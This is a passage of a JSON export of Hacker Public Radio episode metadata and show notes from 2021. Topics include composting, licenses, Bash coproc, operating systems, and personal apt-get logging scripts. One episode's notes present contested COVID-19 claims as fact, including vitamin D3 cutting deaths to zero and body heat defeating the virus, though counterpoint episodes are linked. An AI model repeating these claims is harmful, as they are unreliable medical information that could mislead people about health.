                                                            5. Baltimore City Department of Public Works-Food Scrap Drop-Off Pilot Program
                                                            6. \n
                                                            7. Utopia Kitchen Compost Bin
                                                            8. \n
                                                            9. FCMP Outdoor IM4000 Tumbling Composter
                                                            10. \n
                                                            11. Composting Tomato Plants: When To Compost Tomatoes
                                                            12. \n
                                                            \n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"food,rubbish,landfill,gardening,compost,composting","version":0,"downloads":0,"valid":1}, {"id":3409,"date":"2021-08-26","title":"Linux Inlaws S01E37: All about Hacker Public Radio","duration":5738,"summary":"An interview with Ken Fallon, Janitor at Hacker Public Radio","notes":"

                                                            \n In this episode of our beloved open source podcast rapidly approaching its\n zenith of popularity (with hopefully not an equally rapid decline afterwards)\n our two elderly heroes pay tribute to Hacker Public Radio in general and\n Ken Fallon in particular. Plus: a never-heard-of-before peek into Martin's\n very own private life (we lift the veil and reveal it all - don't miss this!)\n

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"HPR, cleaning, janitoring, having a good time, Richard M. Stallman, stats","version":0,"downloads":0,"valid":1}, {"id":3410,"date":"2021-08-27","title":"Operating Systems","duration":828,"summary":"Here we look at what an operating system is, and how they developed historically.","notes":"

                                                            While the very first computers did not have operating systems, the lack of them made computers less efficient and more difficult to use. We look at the general history of operating systems before getting into the history of DOS. Then we look at some general principles of what operating systems do.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, operating systems","version":0,"downloads":0,"valid":1}, {"id":3411,"date":"2021-08-30","title":"Dominion card game","duration":1673,"summary":"Klaatu talks about the Dominion card game","notes":"

                                                            Dominion is a card game. Lots of fun. You should try it.

                                                            \n\n

                                                            You can even play online for free at dominion.games\n

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"card, game","version":0,"downloads":0,"valid":1}, {"id":3412,"date":"2021-08-31","title":"Reading a license: Creative Commons Attribution ShareAlike 3.0 Unported","duration":2098,"summary":"We are using this license but we didn't publish it on HPR ... until now!","notes":"

                                                            This show and its notes are licensed under the Creative Commons Attribution 3.0 Unported license: https://creativecommons.org/licenses/by/3.0/

                                                            \n

                                                            The original work is by Creative Commons and has been slightly modified during reading. The text\nreproductions below have been modified for formatting, but not intentionally for content.\nMisspellings are from the original.

                                                            \n\n
                                                            \n

                                                            Creative Commons License Deed

                                                            \n

                                                            Original: https://creativecommons.org/licenses/by-sa/3.0/

                                                            \n

                                                            Attribution-ShareAlike 3.0 Unported (CC BY-SA 3.0)

                                                            \n

                                                            This is a human-readable summary of (and not a substitute for) the license.

                                                            \n

                                                            Disclaimer

                                                            \n

                                                            This deed highlights only some of the key features and terms of the actual license. It is not a\nlicense and has no legal value. You should carefully review all of the terms and conditions of the actual\nlicense before using the licensed material.

                                                            \n

                                                            Creative Commons is not a law firm and does not provide legal services. Distributing, displaying,\nor linking to this deed or the license that it summarizes does not create a lawyer-client or any other\nrelationship.

                                                            \n

                                                            You are free to:

                                                            \n
                                                              \n
                                                            • Share - copy and redistribute the material in any medium or format
                                                            • \n
                                                            • Adapt - remix, transform, and build upon the material for any purpose, even commercially.\nThe licensor cannot revoke these freedoms as long as you follow the license terms.
                                                            • \n
                                                            \n

                                                            Under the following terms:

                                                            \n
                                                              \n
                                                            • Attribution - You must give\nappropriate credit,\nprovide a link to the license, and\nindicate if changes were made.\nYou may do so in any reasonable manner, but not in any way that suggests the licensor endorses\nyou or your use.
                                                            • \n
                                                            • ShareAlike - If you remix, transform, or build upon the material, you must\ndistribute your contributions under the\nsame license\nas the original.
                                                            • \n
                                                            • No additional restrictions - You may not apply legal terms or\ntechnological measures\nthat legally restrict others from doing anything the license permits.
                                                            • \n
                                                            \n

                                                            Notices:

                                                            \n

                                                            You do not have to comply with the license for elements of the material in the public domain or\nwhere your use is permitted by an applicable\nexception or limitation.

                                                            \n

                                                            No warranties are given. The license may not give you all of the permissions necessary for your\nintended use. For example, other rights such as\npublicity, privacy, or moral rights\nmay limit how you use the material.

                                                            \n
                                                            \n

                                                            Creative Commons Legal Code

                                                            \n

                                                            Original: https://creativecommons.org/licenses/by-sa/3.0/legalcode

                                                            \n

                                                            For the rest of the text please see: https://hackerpublicradio.org/eps/hpr3412/

                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY","tags":"license, creative commons, recital, reading, legal","version":0,"downloads":0,"valid":1}, {"id":3413,"date":"2021-09-01","title":"Bash snippet - using coproc with SQLite","duration":2738,"summary":"Sending multiple queries to a running instance of sqlite3","notes":"

                                                            Introduction

                                                            \n

                                                            I am in the process of rewriting some scripts I use to manage Magnatune albums. I’m a lifetime Magnatune member and have access to the whole music collection. I wrote a script for downloading albums and placing them in my ~/Music directory which I talked about in 2013 (show 1204). The original scripts are still available on GitLab and I know of one other person who made use of them!

                                                            \n

                                                            Since 2013 I have written a few other support scripts, for example one to manage a queue of albums I want to buy and download, and one which summarises the state of this queue.

                                                            \n

                                                            It’s this 'show_queue' script I am currently updating (called show_queue_orig, and available in the resources to this show). The original version of this script took Magnatune album URLs from a file (acting as a queue of stuff I wanted to buy), parsed out a piece of the URL and used it to grep a pre-prepared summary in another file. This file of summaries had been made from a master XML file provided by Magnatune (see update_albums on GitLab).

                                                            \n

                                                            Magnatune has moved away from this master XML file to a SQLite database in recent years, so I want to perform a database lookup for each URL to list its details.

                                                            \n

                                                            The first version of the new script wasn’t difficult to write: just extract the search data as before and run a query on the database using this data. I have included this script which I call show_queue_db_1 amongst the resources for this episode, so you can see what I’m talking about – and what I want to improve on. It felt bad to be performing multiple calls on the sqlite3 command in a loop, so I looked around for an alternative way.

                                                            \n

                                                            In April 2019 clacke did a show (number 2793) about the Bash coproc command.

                                                            \n

                                                            This command creates a subshell running a command or group of commands which is connected to the calling (parent) process through two file descriptors (FDs). It’s possible for the calling shell to write to the input descriptor and read from the output one and thereby communicate with whatever is running in the subshell.

                                                            \n

                                                            I was vaguely aware of coproc at the time of clacke’s show but hadn’t looked into it. I found the show fascinating but didn’t have a use for the feature at the time.

                                                            \n

                                                            To solve my need to show my Magnatune queue of future purchases, it looked as if a sqlite3 instance running in a subshell could be given queries one after the other and return the answers I needed. My journey to a Bash script using coproc then followed.

                                                            \n

                                                            Long notes

                                                            \n

                                                            Follow this link to read the detailed notes associated with this episode.

                                                            \n

                                                            Links

                                                            \n\n\n\n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,coproc,subshell,coprocess,pipe,file descriptor","version":0,"downloads":0,"valid":1}, {"id":3414,"date":"2021-09-02","title":"Critical Thinking may make You Critical of the Covid Crisis","duration":645,"summary":"Some Science YOU can observe about covid fallacies, and some preventative medicine.","notes":"
                                                            \n

                                                            Counter Point

                                                            \n

                                                            Counter points to this show are available:
                                                            \n

                                                              \n
                                                            1. hpr3442 :: What is this thing called science
                                                            2. \n
                                                            3. hpr3445 :: True critical thinking seems to be the key
                                                            4. \n
                                                            \n

                                                            \n
                                                            \n

                                                            The homeless weren't affected as much as other segments of the population. This Radiolab episode suggests that healthy vitamin D3 levels from being out in the sun often may be the reason.

                                                            \n

                                                            https://www.wnycstudios.org/podcasts/radiolab/articles/invisible-allies

                                                            \n

                                                            A hospital in Spain did a double blind study, solid science. In this study, before any vaccines were available for covid, vitamin D3 made the difference between a 7.6% death rate due to covid, and a 0% death rate with vitamin D3. This YouTube video gets very technical, but tells the story.

                                                            \n

                                                            https://www.youtube.com/watch?v=V8Ks9fUh2k8

                                                            \n

                                                            Back in the 60s, body temperature's effect on fighting viruses was known, that knowledge was lost for a time because of scientists who spoke out, not knowing the whole story, but in 2003, in the aftermath of the previous covid outbreak, a doctor from China documented the need for body heat to fight off covid. Even so, medical professionals in New York set up a covid triage in Central Park during a season when the daytime temperature was in the 50s, and night time temperature was much colder. Just having a PhD behind your name doesn't make you right.

                                                            \n

                                                            https://www.bmj.com/rapid-response/2011/10/29/coronavirus-may-be-killed-higher-body-temperature

                                                            \n","hostid":395,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"covid, vitamin D3, masks, viruses, lawyers","version":0,"downloads":0,"valid":1}, {"id":3415,"date":"2021-09-03","title":"Hacking Stories with Reacted: part 3","duration":836,"summary":"I talk about some old old old pentesting stories from days old!","notes":"

                                                            \nI talk about some old old old pentesting stories from days old!\n

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking,pentesting,red team,hacking stories","version":0,"downloads":0,"valid":1}, {"id":3416,"date":"2021-09-06","title":"HPR Community News for August 2021","duration":5765,"summary":"Ken's not available so MrX joins Dave to talk about the shows and comments in August","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3391Mon2021-08-02HPR Community News for July 2021HPR Volunteers
                                                            3392Tue2021-08-03Structured error reportingTuula
                                                            3393Wed2021-08-04We need to talk about XMLklaatu
                                                            3394Thu2021-08-05Be an XML star with xmlstarletklaatu
                                                            3395Fri2021-08-06Hacking Stories with Reacted: part 1operat0r
                                                            3396Mon2021-08-09Card roles in Magic the Gatheringklaatu
                                                            3397Tue2021-08-10What is a PineTimeDaniel Persson
                                                            3398Wed2021-08-11Anacronklaatu
                                                            3399Thu2021-08-12Linux Inlaws S01E36: Open Source Licensesmonochromec
                                                            3400Fri2021-08-13Normal Layer Modes: Normal, Dissolve, Color EraseAhuka
                                                            3401Mon2021-08-16Mana hacksklaatu
                                                            3402Tue2021-08-17Reading a manifesto: Declaration of Digital Autonomyclacke
                                                            3403Wed2021-08-18Forth on microcontrollersBrian in Ohio
                                                            3404Thu2021-08-19Suse 15.3 LeapJWP
                                                            3405Fri2021-08-20Hacking Stories with Reacted: part 2operat0r
                                                            3406Mon2021-08-23A study of cards in gamesklaatu
                                                            3407Tue2021-08-24Software Freedom PodcastKen Fallon
                                                            3408Wed2021-08-25CompostingRho`n
                                                            3409Thu2021-08-26Linux Inlaws S01E37: All about Hacker Public Radiomonochromec
                                                            3410Fri2021-08-27Operating SystemsAhuka
                                                            3411Mon2021-08-30Dominion card gameklaatu
                                                            3412Tue2021-08-31Reading a license: Creative Commons Attribution ShareAlike 3.0 Unportedclacke
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 24 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 9 comments on\n5 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3323\n(2021-04-28) \"The alternate Internet you never knew existed\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nbjb on 2021-08-29:\n\"Interesting\"

                                                              \n
                                                            • hpr3331\n(2021-05-10) \"Audio for Podcasting: Episode 1 - The Microphone\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nbjb on 2021-08-08:\n\"Question about mic positioning\"

                                                              \n
                                                            • hpr3377\n(2021-07-13) \"Chromebook support and more\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nGuardian on 2021-08-08:\n\"Lousy sound quality abuses audience.\"

                                                              \n
                                                            • hpr3382\n(2021-07-20) \"How I fixed a fault on my car for free thanks to YouTube\"\nby MrX.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nDave Morriss on 2021-08-06:\n\"I hadn't quite appreciated what was happening\"
                                                              • \n
                                                              • \nComment 2:\nMrX on 2021-08-07:\n\"Oops\"
                                                              • \n
                                                              • \nComment 3:\nShortFatBaldGuy on 2021-08-28:\n\"Appreciation for episode\"

                                                              \n
                                                            • hpr3388\n(2021-07-28) \"Linux Inlaws S01E35: The Free Software Foundation Europe\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\ndragestil on 2021-08-07:\n\"Regarding RMS\"
                                                              • \n
                                                              • \nComment 3:\nBob on 2021-08-10:\n\"Clarification\"
                                                              • \n
                                                              • \nComment 4:\ndragestil on 2021-08-11:\n\"Re: Clarification\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 15 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr3393\n(2021-08-04) \"We need to talk about XML\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-08-06:\n\"Thank you.\"
                                                              • Comment 2:\nKevin O'Brien on 2021-08-08:\n\"I loved the show\"

                                                              \n
                                                            • hpr3394\n(2021-08-05) \"Be an XML star with xmlstarlet\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2021-08-05:\n\"My one cool xmlstarlet trick\"

                                                              \n
                                                            • hpr3395\n(2021-08-06) \"Hacking Stories with Reacted: part 1\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2021-08-06:\n\"Please do more\"
                                                              • Comment 2:\nKevin O'Brien on 2021-08-09:\n\"I loved this story\"
                                                              • Comment 3:\nBeeza on 2021-08-23:\n\"Social Engineering Access\"

                                                              \n
                                                            • hpr3399\n(2021-08-12) \"Linux Inlaws S01E36: Open Source Licenses\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2021-08-14:\n\"Another good show\"

                                                              \n
                                                            • hpr3400\n(2021-08-13) \"Normal Layer Modes: Normal, Dissolve, Color Erase\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbjb on 2021-08-12:\n\"Thanks\"
                                                              • Comment 2:\nKevin O'Brien on 2021-08-12:\n\"You are most welcome\"

                                                              \n
                                                            • hpr3407\n(2021-08-24) \"Software Freedom Podcast\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2021-08-27:\n\"Great Show.\"

                                                              \n
                                                            • hpr3410\n(2021-08-27) \"Operating Systems\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2021-08-27:\n\"Love this history\"
                                                              • Comment 2:\nKevin O'Brien on 2021-08-27:\n\"You are most welcome\"
                                                              • Comment 3:\nJan on 2021-08-27:\n\"Observations\"
                                                              • Comment 4:\nKevin O'Brien on 2021-08-30:\n\"Audio quality\"
                                                              • Comment 5:\nKen Fallon on 2021-08-30:\n\"Can you define broken\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-August/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            This month 10 additional shows in the range 1-870 have been uploaded.

                                                            \n

                                                            Since we don't want to upload shows without summaries or tags the old shows and tag and summary projects are now tied together. So we will be all the more welcoming of tag and summary updates submitted as described on the summary page.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \nArcher72, Rho`n, Ken Fallon, Dave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 108 shows which were without them.

                                                            \n

                                                            There are currently 114 shows which need a summary and/or tags.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3417,"date":"2021-09-07","title":"Ceph cluster hardware","duration":729,"summary":"Looking into the hardware behind my ceph cluster ","notes":"

                                                            In this video I talk about 4 different computers that could be used in a ceph cluster and what I use and what could be good solutions. If you want to have a visual aid I've created a youtube video talking about the same thing.

                                                            \n\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ceph, cluster, hardware","version":0,"downloads":0,"valid":1}, {"id":3418,"date":"2021-09-08","title":"My gEeeky Experiment - Part 2","duration":648,"summary":"Claudio talks about how he installed Haiku on an Asus Eee PC 900a received from a friend.","notes":"\n\n\n\n\n\n\n\n\n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"asus,eeepc,haiku,beos,starmax,bebox,motorola,be","version":0,"downloads":0,"valid":1}, {"id":3419,"date":"2021-09-09","title":"Linux Inlaws S01E38: Tiny kernels","duration":3748,"summary":"All you ever wanted to hear and more about micro kernels and other operating system war stories","notes":"

                                                            This episode is dedicated to tiny kernels driving operating systems also\n known as micro-kernels. While discussing the last 100 years of operating\n system design and implementation, our two aging heroes also shed some\n light on operating systems in general and their recent history (like fifty\n years). Unless you're a true OS nerd, you find the episode mildly\n refreshing and educational on the layers of software underneath your\n beloved applications controlling the hardware and other shenanigans. If\n you're an OS nerd, this episode may have the potential of closing your few\n remaining knowledge gaps (or something like this). A fun show for\n children of all ages and beyond.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Operating systems, kernels, Usenet wars, Linus Torvalds, Andrew Tanenbaum, Minix, trainspotting","version":0,"downloads":0,"valid":1}, {"id":3420,"date":"2021-09-10","title":"Normal Layer Modes: Erase, Merge, and Split","duration":606,"summary":"We continue our look at the Layer Modes in GIMP","notes":"

                                                            Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We'll begin with the Normal modes and work our way through many, but not all, of the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.20.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layer Modes, Blending Modes","version":0,"downloads":0,"valid":1}, {"id":3421,"date":"2021-09-13","title":"BlacKernel's Journey Into Technology: Episode 1","duration":967,"summary":"Learning about Assembly and Social Engineering before I could read","notes":"","hostid":396,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"technology, childhood, stories","version":0,"downloads":0,"valid":1}, {"id":3422,"date":"2021-09-14","title":"Update about Phones and Devices","duration":1341,"summary":"An Update about my New Phone and second one that is coming","notes":"

                                                            Small update about my new RedMi 10s and my new Monty Mint phone.

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Android, phone, Linux, Pine64, Smart Watch","version":0,"downloads":0,"valid":1}, {"id":3423,"date":"2021-09-15","title":"\"upg.sh\" my \"dump.txt\" to \"note.md\"","duration":2278,"summary":"I upgraded my scripts.","notes":"

                                                            upg.sh my dump.txt to note.md

                                                            \n

                                                            SYNOPSIS: upg.sh

                                                            \n
                                                              \n
                                                            • Upgrade your system and store stdout into a markdown file.
                                                            • \n
                                                            \n
                                                            #!/bin/bash\n# upg.sh\n\nFILENAME=sys-upgrade$(date +%m-%d-%Y).md\nDIRECTORY="${HOME}/Documents/"\n\n# step 1: formatting.\necho -e "# **System Upgrade:** $(date)\\n" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "**Command:** \\`sudo apt-get update; sudo apt-get upgrade --yes\\`\\n" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "**Command Breakdown:**" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "- \\`sudo\\`, Admin Privilages." \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "- \\`apt-get\\`, Package Manager." \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "- \\`update;\\`, Package Manager's task; update the system software repositories." \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "- \\`sudo apt-get upgrade\\`, Perform system upgrade with updated repositories." \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "- \\`--yes\\`, Answers yes to the prompt." \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\n# step 2: run commands with formatting.\necho -e "\\n**Command std-output:**\\n" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\`\\`\\`" \\\n    | tee -a ${DIRECTORY}${FILENAME}\n    echo $(date) \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\nsudo apt-get update \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\n# System update completed.\\n" \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\nsudo apt-get upgrade --yes \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\n# System upgrade completed.\\n" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\`\\`\\`\\n" \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\n# step 3: additional details with more formatting.\necho -e "**Upgraded Package Details:**\\n" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\`\\`\\`" \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\nPKGLIST=$(sed -n "/The following packages will be upgraded:/,/^.. upgraded/p" ${FILENAME} \\\n    | sed '1d;$d' | xargs -n 1 | sed '/:i386$/d') \\\n\nPKGCACHE=$(echo -e "${PKGLIST}\\n" \\\n    | xargs -n1 -I _ apt-cache search _)\necho "${PKGCACHE}" > ${DIRECTORY}delete.txt\n\necho "${PKGLIST}" \\\n    | xargs -n 1 -I _ echo "sed -n '/^_ /p'" "${DIRECTORY}delete.txt" \\\n    | bash | tee -a ${DIRECTORY}${FILENAME};\n\necho -e "\\`\\`\\`" \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\nrm -v ${DIRECTORY}delete.txt;\nPKGLIST=\nPKGCACHE=\n\n# step 4: place EOF (end of file).\n    sed -i '/EOF/d' ${DIRECTORY}${FILENAME}\necho "EOF" >> ${DIRECTORY}${FILENAME}\n#EOF\n
                                                            \n

                                                            Script breakdown: upg.sh

                                                            \n
                                                              \n
                                                            • First, we declare bash as our shell with #!/bin/bash. We could also use #!/bin/sh for a more portable script.

                                                            • \n
                                                            • I like to paste the name of the script we're working on into the script itself # upg.sh.

                                                            • \n
                                                            • Setup a couple of variables to shorten the syntax.

                                                            • \n
                                                            \n
                                                            FILENAME=sys-upgrade$(date +%m-%d-%Y).md\nDIRECTORY="${HOME}/Documents/"\n
                                                            \n
                                                              \n
                                                            • # step 1: formatting.\n
                                                                \n
                                                              • Build labels and a short breakdown of the update/upgrade commands used.
                                                              • \n
                                                            • \n
                                                            \n
                                                            echo -e "# **System Upgrade:** $(date)\\n" \\                                                    <-- formatting: label with date.\n    | tee -a ${DIRECTORY}${FILENAME}                                                           <-- path/to/file\necho -e "**Command:** \\`sudo apt-get update; sudo apt-get upgrade --yes\\`\\n" \\                 <-- formatting: command label.\n    | tee -a ${DIRECTORY}${FILENAME}                                                           <-- path/to/file\necho -e "**Command Breakdown:**" \\                                                             <-- formatting: label.\n    | tee -a ${DIRECTORY}${FILENAME}                                                           <-- path/to/file\necho -e "- \\`sudo\\`, Admin Privilages." \\                                                      <-- formatting: label.\n    | tee -a ${DIRECTORY}${FILENAME}                                                           <-- path/to/file\necho -e "- \\`apt-get\\`, Package Manager." \\                                                    <-- formatting: label.\n    | tee -a ${DIRECTORY}${FILENAME}                                                           <-- path/to/file\necho -e "- \\`update;\\`, Package Manager's task; update the system software repositories." \\    <-- formatting: label.\n    | tee -a ${DIRECTORY}${FILENAME}                                                           <-- path/to/file\necho -e "- \\`sudo apt-get upgrade\\`, Perform system upgrade with updated repositories." \\      <-- formatting: label.\n    | tee -a ${DIRECTORY}${FILENAME}                                                           <-- path/to/file\necho -e "- \\`--yes\\`, Answers yes to the prompt." \\                                            <-- formatting: label.\n    | tee -a ${DIRECTORY}${FILENAME}                                                           <-- path/to/file\n
                                                            \n
                                                              \n
                                                            • # step 2: run commands with formatting.,\n
                                                                \n
                                                              • Setup labels and an area for the stdout to be store with markdown formatting.
                                                              • \n
                                                              • We place the time and date into the stdout area then run the commands.
                                                              • \n
                                                            • \n
                                                            \n
                                                            echo -e "\\n**Command std-output:**\\n" \\                                                        <-- formatting: label.\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\`\\`\\`" \\                                                                             <-- formatting: markdown.\n    | tee -a ${DIRECTORY}${FILENAME}\n    echo $(date) \\                                                                             <-- command: date.\n    | tee -a ${DIRECTORY}${FILENAME}\n\nsudo apt-get update \\                                                                          <-- command: update.\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\n# System update completed.\\n" \\                                                     <-- formatting: label.\n    | tee -a ${DIRECTORY}${FILENAME}\n\nsudo apt-get upgrade --yes \\                                                                   <-- command: upgrade with "--yes" option.\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\n# System upgrade completed.\\n" \\                                                    <-- formatting: label.\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\`\\`\\`\\n" \\                                                                           <-- formatting: markdown.\n    | tee -a ${DIRECTORY}${FILENAME}\n
                                                            \n
                                                              \n
                                                            • # step 3: additional details with more formatting.,\n
                                                                \n
                                                              • List the packages that were upgraded with details from system cache.
                                                              • \n
                                                            • \n
                                                            \n
                                                            echo -e "**Upgraded Package Details:**\\n" \\                                                    <-- formatting: label.\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\`\\`\\`" \\                                                                             <-- formatting: markdown.\n    | tee -a ${DIRECTORY}${FILENAME}\n\nPKGLIST=$(sed -n "/The following packages will be upgraded:/,/^.. upgraded/p" ${DIRECTORY}${FILENAME} \\  <--| variable with list of packages within it.\n    | sed '1d;$d' | xargs -n 1 | sed '/:i386$/d') \\                                            <--| sed: filter the first and last lines then remove the :i386 duplicate packages.\n\nPKGCACHE=$(echo -e "${PKGLIST}\\n" \\                                                            <--| variable with massive apt-cache search results.\n    | xargs -n1 -I _ apt-cache search _)                                                       <--| xargs runs the PKGLIST (the _ is the value of PKGLIST) into the apt-cache search.\necho "${PKGCACHE}" > ${DIRECTORY}delete.txt                                                    <--| I had to put the PKGCACHE in a file. I couldn't get sed to filter a variable (yet).\n\necho "${PKGLIST}" \\                                                                            <--| use that PKGLIST to create a few sed commands to filter the file called "delete.txt".\n    | xargs -n 1 -I _ echo "sed -n '/^_ /p'" "${DIRECTORY}delete.txt" \\                        ^--| xargs is used to create the sed commands.\n    | bash | tee -a ${DIRECTORY}${FILENAME};                                                   <--| run the sed commands through bash then store them.\n\necho -e "\\`\\`\\`" \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\nrm -v ${DIRECTORY}delete.txt;                                                                  <--| use rm to delete the file called "delete.txt" it has the apt-cache search results in it.\nPKGLIST=                                                                                       <--| empty the variable. why? why not!\nPKGCACHE=                                                                                      <--| empty the variable. why? why not!\n
                                                            \n
                                                              \n
                                                            • # step 4: place EOF (end of file).,\n
                                                                \n
                                                              • Add EOF (END OF FILE) to the end of the file. If one is already there, -
                                                              • \n
                                                              • it's removed then replaced in the correct position.
                                                              • \n
                                                            • \n
                                                            \n
                                                                sed -i '/EOF/d' ${DIRECTORY}${FILENAME}                                                    <--| search for EOF then remove it. we don't want multiple EOF if we run the script multiple times in the same day.\necho "EOF" >> ${DIRECTORY}${FILENAME}                                                          ^--| adds the EOF (End Of File) at the end of the file.  I read it was a nice thing to do.\n#EOF                                                                                           <--| Yep. it's there.\n\n
                                                            \n
                                                            \n

                                                            SYNOPSIS: note.sh \"command\" \"filename\"

                                                            \n
                                                              \n
                                                            • example: note.sh \"ls -lhA\" \"basic-list\"
                                                            • \n
                                                            • make markdown notes of your commands.
                                                            • \n
                                                            \n
                                                            #!/bin/bash\n# note.sh "command" "filename" no extentions.\n\n# variables\nFILENAME=$2$(date +%m-%d-%Y).md\nDIRECTORY="${HOME}/Documents/"\n\n# step 1: create file with formatting.\necho -e "# **Command:** \\` $1 \\`\\n" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "**Command Breakdown:**" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho "$1" | tr " " '\\n' \\\n    | awk '{ print "- `" $0 "`, info." }' \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\n# step 2: run command with more formatting.\necho -e "\\n**Command std-output:**" \\\n    | tee -a ${DIRECTORY}${FILENAME}\necho -e "\\`\\`\\`\\n$(date)" \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\necho $1 | bash \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\necho -e "\\`\\`\\`" \\\n    | tee -a ${DIRECTORY}${FILENAME}\n\necho -ne "\\n${FILENAME} has been updated $(date)."\n\n# step 3: insert EOF (End Of File).\nsed -i '/EOF/d' ${DIRECTORY}${FILENAME}\necho EOF >> ${DIRECTORY}${FILENAME}\n
                                                            \n

                                                            Script breakdown: upg.sh

                                                            \n
                                                              \n
